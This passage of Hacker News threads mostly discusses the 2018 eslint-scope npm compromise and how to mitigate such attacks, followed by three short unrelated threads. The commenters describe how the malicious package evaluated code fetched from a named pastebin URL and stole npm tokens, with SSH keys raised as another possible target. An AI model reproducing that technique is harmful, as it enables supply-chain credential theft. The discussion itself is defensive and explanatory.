My goal is for readers to match the hash to one on Github so they know the code they're reading there to vet the package is what's on npm. For OSS maintainers, it's an immediate red flag to see a package version published with a hash that was never in the public repo.

This won't certify that the version is blessed by a legitimate author. It just delegates the problem to Github (or their competitors). It doesn't solve the problem of preventing all OSS library-based attacks, but plugs one of the leaks in trust that caused today's failure: that Github->NPM is not checked in any way.

<comment><USER34> If a malicious actor has access to change the npm module (therefore can change the public key used to verify the module code signature), how does signing code help? Now the malicious actor is signing their malicious code.

Code signing still allows the fire to spread. What we need to be talking about is how to prevent the spark that starts a fire.

</comment></comment></comment></comment><comment><USER35> Update: NPM is revoking _all_ tokens between 2018-07-11 00:00 UTC and 2018-07-12 12:30 UTC.

[https://status.npmjs.org/incidents/dn7c1fgrr7ng](https://status.npmjs.org/incidents/dn7c1fgrr7ng)

<comment><USER35> See also: [https://gist.github.com/localjo/59bb12b7a4789e01e3782cf8a103...](https://gist.github.com/localjo/59bb12b7a4789e01e3782cf8a1031c87)

Good to make sure you team members who might have installed within that time period nuke out all their node_modules.

</comment></comment><comment><USER36> As a user/developer how do you even mitigate against this kind of attack? Audit all source that you or your dependencies use?

<comment><USER37> The honest answer is a hard truth: you don't use npm at all. The npm ecosystem is out of control and beyond saving. I think it would be wise if someone started a new JavaScript package manager which was run more like a Linux distribution is - trusted third-parties that independently audit and publish new packages.

Retracted: I wanted to audit the rest of npm to see if this payload had made it into any other packages, since if it steals your npm credentials it seems like it could easily become viral. But because npm is a centralized, proprietary service, I can't just download all of the packages from a mirror and examine them myself.

<comment><USER38> It seems that Node would really benefit from a "NPM is a Ghetto" post similar to Zed's Rails rant.

<comment><USER39> It had that post 7 years ago: [https://www.semitwist.com/mirror/node-js-is- cancer.html](https://www.semitwist.com/mirror/node-js-is-cancer.html) It was about Node specifically, though, not NPM.

"Yudkowsky's Law of Continued Failure says that if they're dumb enough to do X, they're dumb enough to go on doing X after the next stimulus." In this latest saga of NPM-related fail, it's just another stimulus, so don't expect anything to happen that might address the underlying problems of the ecosystem.

<comment><USER12> That's a terrible article (such a blind view on async I/O), and totally unrelated to the security model of package managers.

<comment><USER39> I did say it was about Node, not NPM, but you're right on the article quality too. I even used Node after reading that post..and liked it. But actually I was wrong to even associate it with Zed's post, since Zed's post is mainly about the community and not about the technology. I inferred the call for a similar post on NPM to be technology related and pattern matched on the wrong dimension of "poorly received ranty criticism" entirely! Oh well.

</comment></comment></comment></comment></comment></comment><comment><USER40> Asking for some feedback for Node.js

What (if at all) should Node.js do better to protect users from this sort of attack vector?

Is a deno-like surface where users opt into packages getting network permissions desirable? More guides on npm-audit or stronger auditing tools?

<comment><USER41> Explicit whitelisting for network access.

Explicit whitelisting for fs access.

A programmatic way to tell if the publisher of a module has 2FA enabled. I'm a fan of public shaming to enable 2FA, if not making it mandatory (again tricky if you have automated builds).

<comment><USER42> -1 to this. while 2FA is a no-brainer for most of us, _publicly_ listing (or showing status) not only encroaches individual liberty to make a choice, it would open such users to be targets of an attack. Enforcing 2FA in an organization seems more appropriate. Perhaps npmjs.com has implemented that since last I looked, but I know in the past that enforcement was not available.

I also greatly dislike the trend of public "shaming" that's so prevalent today. The internet has made us cruel.

<comment><USER43> I, too, greatly dislike the cruelty of public shaming. It's inhumane, and dehumanizes us all.

Recently I was tasked with improving 2FA usage in my company's GitHub organization. My first approach was to nicely, neatly, and personably ask people, coupled with regular announcements to make sure everyone knew. Every interaction came with documentation on how to do it and a sincere offer to walk them through it. Totally reasonable approach, executed with kindness and compassion.

The cynic in me was unsurprised when this rapidly became a Sisyphean task. A number of people, upon faced with being informed in half a dozen different ways, professed to have _no idea_ that they were expected to enable 2FA. Others swore up and down to me that they knew what to do and would shortable enable it, only for it to still be off a week or more later.

At this point I decided that kindness and human compassion were a drain on my time and clearly ineffectual. So I grabbed a junior engineer and we wrote a script that automatically removes from the org anyone who doesn't have 2FA enabled. Announced it to everyone, _every_ manager on board, and turned it on. Overnight, the problem went away, and has largely stayed away. Once in a while people publicly ask why they were kicked out and are reminded that they were informed of the 2FA requirement.

This isn't an approach characterized by humanity and kindness. It is, however, one that is effective and time-efficient.

<comment><USER44> Why did you need to write a script? GitHub allows you to enforce 2FA at the organisation level.

[https://help.github.com/articles/requiring-two-factor- authen...](https://help.github.com/articles/requiring-two-factor- authentication-in-your-organization/)

<comment><USER43> You're absolutely right! GitHub _does_ offer that wonderful feature.

There are some legacy bot accounts that we cannot readily tradition to 2FA and we cannot do without. The feature you have so rightly pointed to would evict them from the org. That's not an acceptable outcome in this case.

I skipped over this in my previous comment because I felt it wasn't germane to the story or the point.

</comment></comment></comment></comment></comment></comment><comment><USER45> Do we need a "days since last NPM-related security disaster" tracker?

<comment><USER46> Someone should make this!

<comment><USER47> For what purpose other than feeling smug?

<comment><USER48> To shame the community into doing something, maybe.

<comment><USER47> Would you shame a child for making a mistake? Shame should be reserved for malice and nefarious action with intent.

<comment><USER49> Got it, so we should treat the npm community as a child, right?

</comment></comment></comment></comment></comment></comment><comment><USER6> I think someone needs to audit all versions of all packages on npm. The original eslint maintainer's credentials could have been compromised days ago, via an older version of another module; then the credential stealing code could have been removed in a more recent update.

I've grepped my entire local code base for 'eval' and 'pastebin'; I seem to be fine. But was I fine yesterday? The "^" wildcard is just evil.

And the fallout from this could be incredibly complex. What do you think the original hackers will do with the stolen npm credentials? The paranoid side of me says they are inserting different hacks in any module they can.

Ugh... npm is insanely broken.

<comment><USER50> I think developers need to be much more deliberate about the packages they use and try to have a very small node_modules where it's possible to provide some oversight.

<comment><USER51> This is not possible under the npm/js paradigm of massive module dependency trees. You'll get a module and it will have 10 dependencies and each of those 10 dependencies will each have 5 dependencies. Three of those at the 4th level was an infected eslint package.

They've learned precious little since left-pad.

<comment><USER52> Right! that's what I thought this is left-pad all over again.

Although left-pad was really just a disgruntled publisher... this involves a malicious third party.

My suggestion in fixing the later would be to enforce 2FA for publishing of packages that have so many dependents.

Award a badge to a release when it is published with 2FA. So for LTS releases they can be verified as manually published. This will impact package consumers decision making process, on whether or not to include a dependency into their package.json.

</comment></comment></comment></comment><comment><USER53> This is not _eslint_. This is _eslint-scope_ which is not included by default with ESLint itself.

<comment><USER54> Mods / sctb / dang: can you fix the title? Thanks!

<comment><USER54> Just replying to self: parent is wrong and I wish I could delete my comment above

</comment></comment></comment><comment><USER55> I always thought it was a little weird for credentials to be put into .npmrc, and this isn't the first time this has caused a problem. Lots of people host their dotfiles publicly, but if you do that with .npmrc you'll (eventually) get an admonishing email from github etc. It really conflicts with the (correct, again) Unix model of separating configuration data from ephemeral data. The creds should be placed in $XDG_CACHE_HOME/npm/ , a directory that already contains lots of ephemeral data for npm. Incidentally that directory and its subdirectories seem to be world-readable by default, which is also stupid.

<comment><USER56> It's not obvious to me that credentials are ephemeral data rather than part of the configuration.

<comment><USER55> From TFA:

 _npm has revoked all access tokens issued before 2018-07-12 12:30 UTC._

If credentials were configuration, we'd be screwed now, because the data we have stored is no longer valid. Fortunately, all we have to do is this:

      $ npm adduser

Now the data we have stored is correct again! This is textbook ephemeral data. We can cache it, and that might save some time, but it really doesn't matter. We could flush cache every half hour and it wouldn't hurt a thing.

Another way to see that credentials aren't configuration is what I suggested above: we would never want to back up or publish them, so they are different from and belong in a different place than configuration that we definitely want to back up and often want to publish.

[EDIT:] If one had only considered this from a "12-factor" perspective, in which creds and config are both called config and are both stored in envvars, I could understand the confusion. Note however that the config we're talking about for npm is e.g. "init-author-email". That doesn't change from environment to environment, so it's more like what 12-factor would call _code_...

</comment></comment></comment><comment><USER44> This would be a good time to stop what you are doing right now and enable 2FA everywhere you can think of if you haven't already.

If you control an organisation account enforce it for everyone (github, etc).

I know some places implement it poorly (I'm looking at you SMS based 2FA) but it's getting to be point where not having it enabled is now a question of when not if you will be compromised. This and Gentoo are recent examples that could have been prevented by 2FA that was available but not enabled.

<comment><USER57> Not that it's a bad idea in general, but I don't think it would help in this situation. I've never published NPM packages, but I'm assuming that it only asks for a 2FA token when you first log in, and not every time you publish. Because this thing is stealing local tokens, I think 2FA wouldn't help.

<comment><USER44> Possibly not, but it would have prevented the compromise in the first place. My advice was less about helping people affected by this and more about trying to prevent the next one.

</comment></comment></comment><comment><USER58> I have to wonder if using the same approach as Packagist would be better. In order to upload to packagist you have to link your git repo (GitHub Bitbucket etc) to your Packagist account and sync it that way. The thing npm got wrong here is that you can upload without doing any of that. Seems like that simple step would have prevented this if I'm understanding the chain of events correctly

<comment><USER22> I don't know, it seems like your SSH key could've been compromised the same way the npm publish token was obtained. So that would only protect those that do not use SSH (or GitHub, which luckily isn't required to publish an npm package) to push.

<comment><USER58> Perhaps. Though I find that the statistical odds of an ssh key being breached is smaller than spoofing web credentials, thought I could be wrong, my background is not in security. Just anecdotally I actually haven't met anyone that has had their SSH keys hacked/stolen/compromised but I know lots and lots of people, even smart people who use 2 factor for everything, have had something compromised (though I can vividly remember one case where it was 2 factor that saved the day from one of my co-workers having a very nasty identity theft problem. Remember folks, don't ever _save a note in your email with your SSN and Drivers License_ )

<comment><USER52> an ssh key is just a file on your computer the same way they stole the ~/.npmrc file. They could just as easily steal your ~/.ssh/id_rsa private key.

<comment><USER58> Sure this is true. Though the audience of folks that would 1.know what an ssh key is and 2. Know how to generate one I would put better than average odds in on the ssh key not being compromised than any internet account particularly if it does not have 2fa enabled

</comment></comment></comment></comment></comment><comment><USER59> I'm a frontend hobbyist. I noticed a lot of node_modules use eslint. Are they able to hijack stuff all the way down the dependency chain?

<comment><USER34> > Are they able to hijack stuff all the way down the dependency chain?

Potentially.

Just because you have `eslint` installed as a dependency doesn't mean this exploit ran on your computer. You would have had to run `npm install` (or a similar command) during the infected time (NPM makes it sound like just a few hours).

Details:

This was in `eslint-scope`, an optional dependency of `eslint`.

For this to affect you, you would have needed to run an `npm install`-like command after the infected version of the module was published to `npm` and before it was unpublished.

It's not clear yet if any other modules were infected. Time may tell.

The exploit ran arbitrary code (RCE) after an `npm install` / `npm update` type of command. The payload was a pastebin paste (since neutralized), so to the extent that it could be changed by the author, what the RCE did could have been changed.

NPM has announced that they have disabled the credential-tokens that were issued from a specific time interval, meaning that NPM publishers would have to re-authenticate in order to publish module updates.

</comment></comment><comment><USER60> Is it possible that this is a npm virus, or semiautomated train of compromises, and the eslint-scope project npm credentials were compromised the same way? Given it was eval-ing code off pastebin, it's hard to tell what has been going on.

<comment><USER26> They say the package didn't come from their pipeline, so it's most likely published with stolen credentials. So it's not far-fetched to think those credentials were stolen the same way. More packages may be affected.

<comment><USER61> They did say the pastebin has been taken down, so at least it won't spread further. Still, everybody who ever publishes anything should reset their credentials.

<comment><USER62> It won't spread further... for this specific package. There's nothing to prove that the virus isn't self-replicating and used a different pastebin/source or mechanism when affecting all packages of authors who've had their credentials compromised, and then authors that install the packages that depend on those packages, etc. When publishing credentials of other package authors have been compromised, the scope could be nearly the entire npm ecosystem.

</comment></comment></comment></comment><comment><USER63> npm should require all package maintainers to set up 2-Factor Authentication (NOT via sms) and reauthenticate on every update, effective immediately. That's the only fix I can see for this. Libraries are too vulnerable and our current js ecosystem has too many dependencies and too many people in the chain to trust that _all_ of them use secure password practices and _none_ of them have been compromised.

</comment><comment><USER64> It seems language package manager compromise is becoming an increasingly prevalent attack vector.

IMHO, at some point, the software development industry is going to have to come together and find a way to collectively audit the most widely used packages, considering that the status quo of everyone doing their own auditing is clearly not working. Perhaps a twitter-style 'blue tick' or similar for audited libraries.

<comment><USER61> Unfortunately in this case, since the source repository itself wasn't compromised, there was nothing to audit (assuming the final bundle was packed/minified).

One interesting mitigation would be for NPM to allow you to bind your package directly to a particular repo. So rather than a user (or job system) having to manually go in and publish releases, NPM could assure that what's live always matches what's in the repo.

I've always wondered, how does apt-get solve this? Do they audit every package?

<comment><USER65> They build them themselves, and vet holders of signing keys. They have _much_ better opsec than the NPM ecosystem.

</comment></comment></comment><comment><USER66> If your npm is up-to-date it would have provided a critical warning about the use of eval in that code.

<comment><USER67> Can you give some more information on this? Is this part of the npm-audit feature?

</comment></comment><comment><USER34> NPM's status timeline [1] and Eslint.org's postmortem article[2].

edit: NPM had a recent blog article[3] about their progress towards codesigning modules.

[1] [https://status.npmjs.org/incidents/dn7c1fgrr7ng](https://status.npmjs.org/incidents/dn7c1fgrr7ng)

[2] [https://eslint.org/blog/2018/07/postmortem-for-malicious- pac...](https://eslint.org/blog/2018/07/postmortem-for-malicious-package- publishes)

[3] [https://blog.npmjs.org/post/172999548390/new-pgp- machinery](https://blog.npmjs.org/post/172999548390/new-pgp-machinery)

</comment><comment><USER68> ESLint post: [https://eslint.org/blog/2018/07/postmortem-for-malicious- pac...](https://eslint.org/blog/2018/07/postmortem-for-malicious-package- publishes)

</comment><comment><USER48> This is why I do all of my development in VMs now. I can't abandon Node, because that's the current trend in web development, so i just try to avoid the most common viruses that don't include a VM-breakout zero day.

<comment><USER69> > current trend in web development

Why on earth are you using whats popular instead of the correct tool for the job?

To be clear, you absolutely can abandon node, and should.

<comment><USER48> Because using what's popular is what gets you jobs.

</comment></comment></comment><comment><USER16> How to scan your projects (from their directory, or their parent directory)

[https://github.com/eslint/eslint- scope/issues/39#issuecommen...](https://github.com/eslint/eslint- scope/issues/39#issuecomment-404569431)

You can easily modify the script to scan for the other vulnerable dependency as per

[https://github.com/eslint/eslint/issues/10600](https://github.com/eslint/eslint/issues/10600)

version: eslint-config-eslint 5.0.2

</comment><comment><USER70> According to the thread, as of about 30 minutes ago the malicious version has been unpublished.

Despite this, it seems that a lot of high profile packages were vulnerable to an automatic minimum version bump. There have been quite a few close calls with non packages, and at some point I feel like it will actually do some damage.

<comment><USER61> The indirect dependencies thing is a real problem, for other reasons too, because you can't control those. The peer dependency system partially solves this, but it's still an issue.

</comment></comment><comment><USER71> Here's how I checked my own machine, though I was already confident I wouldn't be affected:

      find ~ -name eslint-scope -exec grep -H version '{}/package.json' \;

If you use yarn exclusively, this will also work:

      yarn cache list | grep eslint-scope-3.7.2

<comment><USER21> Thanks for sharing this snippet. It looks like the "bad" version of eslist- scope found its way into the Heroku CLI. SMDH.

</comment></comment><comment><USER46> Here are some useful commands you can use to secure your environment in light of this hack: [https://gist.github.com/localjo/59bb12b7a4789e01e3782cf8a103...](https://gist.github.com/localjo/59bb12b7a4789e01e3782cf8a1031c87)

<comment><USER34> Note that NPM claims they already disabled NPM access tokens that were used during the timeframe they assigned to this incident so if you were affected, your token was already revoked.

Also, ESLint's postmortem[1] suggests this was password reuse (matching a creds from a previously popped service) + lack of 2FA. In short, a failure of a developer with publish permissions to use basic security hygiene.

[1] [https://eslint.org/blog/2018/07/postmortem-for-malicious- pac...](https://eslint.org/blog/2018/07/postmortem-for-malicious-package- publishes)

</comment></comment><comment><USER72> Why go through the effort of evalin' the result of pastebin.com/raw/XLeVP82h? Why not just put the resulting code from pastebin directly into the suspicious file?

<comment><USER9> because this way they can change the code to be executed on the fly outside of npm

</comment></comment><comment><USER73> Some recommendation here [https://blog.sqreen.io/eslint- backdoor/](https://blog.sqreen.io/eslint-backdoor/)

</comment><comment><USER74> I would like to check if I used the package from the past commit, but when is the release date of 3.7.2?

</comment><comment><USER75> Anyone got 3.7.2 source code or the compiled version? Need it for research purposes.

<comment><USER75> Already found out: [https://registry.npmjs.org/eslint-scope/-/eslint- scope-3.7.2...](https://registry.npmjs.org/eslint-scope/-/eslint- scope-3.7.2.tgz)

</comment></comment><comment><USER76> probably the most reasonable stopgap to this class of attacks is for npm to do more to encourage 2FA, with badges, etc, and introduce a warning on non-2FA installs.

<comment><USER34> One of the notes on the ESLint postmortem[1] was that developers shouldn't reuse passwords and should use a password manager to facilitate making this easier.

While I ack that 2FA would have prevented this incident, so would have using unique credentials. Note that using unique credentials is available at _every_ SaaS service, not just the ones that support 2FA.

[1] [https://eslint.org/blog/2018/07/postmortem-for-malicious- pac...](https://eslint.org/blog/2018/07/postmortem-for-malicious-package- publishes)

<comment><USER76> right, but 2FA usage is something npm can actually verify, so that we as package consumers can ask/receive some security guarantees from publishers.

</comment></comment></comment><comment><USER42> This was resolved in about an hour, looking at the issue linked. All things considered, that's great turn-around time for a fix.

<comment><USER77> It's not completely resolved until everybody who was potentially compromised audits everything their credentials gave them control over and changes the credentials.

<comment><USER42> Is a bug not fully resolved until every machine on the planet running that software has upgraded to a version in which the bug doesn't exist? That'd be quite a silly assertion imho.

</comment></comment></comment><comment><USER78> Did anyone fill a CVE already?

<comment><USER34> The CVE DB is usually pretty backlogged. This[1] is the defacto NPM "CVE DB" and describes the two modules[2][3] affected by this incident that ESLint and NPM acknowledge.

[1] [https://nodesecurity.io/advisories](https://nodesecurity.io/advisories)

[2] [https://nodesecurity.io/advisories/673](https://nodesecurity.io/advisories/673)

[3] [https://nodesecurity.io/advisories/674](https://nodesecurity.io/advisories/674)

</comment></comment><comment><USER79> Thanks for posting this!

</comment><comment><USER74> I would like to know if I used the package from the past commitment, but when is the release date of 3.7.2?

<comment><USER34> From one of the comments in TFA:

> '3.7.2': '2018-07-12T10:40:00.478Z'

</comment></comment><comment><USER80> Another great reason to not go with gigantic libraries / toolchains / transpilation. Use small code you can read, rather than something like Babel/JSX/React.

<comment><USER34> The size doesn't matter. Just including a single JQuery-like library from a fake CDN could get you similarly pwn your supply chain.

If you use other peoples' code and you don't {static analyze it, dynamic analyze it, sandbox+scrutinize its network traffic it until you are confident it doesn't phone home, reverse engineer all of the binaries, etc} you can get hit by the same issue.

<comment><USER80> Exactly. Don't use other people's code / depend on their code / services.

But you're wrong about size. It matters. If your code is small enough you host it yourself rather than relying on external CDNs. Risk surfaced reduced. And smaller code mindset leads to less use of dependencies / bloatware like the React/Babel tool chain, so of course this leads to less risk.

But it also makes fools of a lot of people and conventional/fad wisdom, so I'm unsurprised they're unhappy to hear it.

</comment></comment></comment><comment><USER69> Said it before, and I'll say it again.

Why the flagnar do hardcore believers/users of Node insist that everything is perfect with their package management; let alone any of the bad programming practices that Node idolizes?

This is what... the 4th major incident in the last 6 months with Node and npm.

Anyone who tells me they use Node will _instantly_ get put on their own sandbox and vlan. You just can't trust that the code they run is legit, even if they wrote it.</comment>


Falsehoods Programmers Believe About Phone Numbers - <AUTHOR> https://github.com/googlei18n/libphonenumber/blob/master/FALSEHOODS.md <comment><USER2> I'd like to add 16.: For number recognition, you only need to care about locale-native phone numbers.

My phone is running with English locale set because German translations of apps (and even Android itself) are more often than not useless. I'd still like to have local phone numbers recognized, instead of having them split in two numbers just because that's apparently the US format.</comment>


Poll: Do You Prefer Working From an Office, Home or Coffee Shops? - <AUTHOR> http://gopollgo.com/do-you-prefer-working-from-coffee-shops-an-office-or-home

<comment><USER2> Interesting question. I've been transitioning from working from home to an office now that I have an office and employees ... there are pros and cons.

The biggest con is probably when I wake up and it's cold and raining or I'm buggered from working late the night before I still have to actually get up, get dressed and go to work, which are all optional or nonexistent dilemmas when you work from home.

Aside from the extra, in-person manpower and socialization an office allows the biggest pro is it's nice having that separation between work and home and it's really good for me to be walking those 10 blocks to and from each day.

</comment><comment><USER3> Home, if nothing else I have a distraction free setup with 3 large monitors.</comment>


Ask HN: Why didn't Stack Exchange dethrone BBoard? - <AUTHOR>

It seems like there are a lot of BBoard run communities. Why couldn't Stack Exchange dethrone BBoard as the community board of choice? <comment><USER2> I don't think that was really their goal. They wanted to make a better question and answer platform. If I wanted to talk about video games in general, I wouldn't go to a Q&A site about video games to talk about them, I would go to a BBoard type of a community. They both have their audiences and both fit needs of different communities.

Joel talks a little about Bboards in his interview on Mixergy and talks about their vision with developing Stack overflow and stack exchange in the first place. <http://mixergy.com/stack-exchange-joel-spolsky-interview/>

<comment><USER3> Jeff Atwood has stated in podcasts that one of the goals of Stack Exchange was to kill phpbb and its ilk.

e.g. <http://blog.stackoverflow.com/2010/03/podcast-85/>

<comment><USER4> Luckily, phpbb is free.

<comment><AUTHOR> Good point. :)

I guess SE could have provided a good way to have a ready-made, slick interfaced 2.0 with hosting and everything put together. I dunno.

</comment></comment></comment></comment><comment><AUTHOR> Another question: would a migration tool to move away from phpbb to SE have helped?</comment>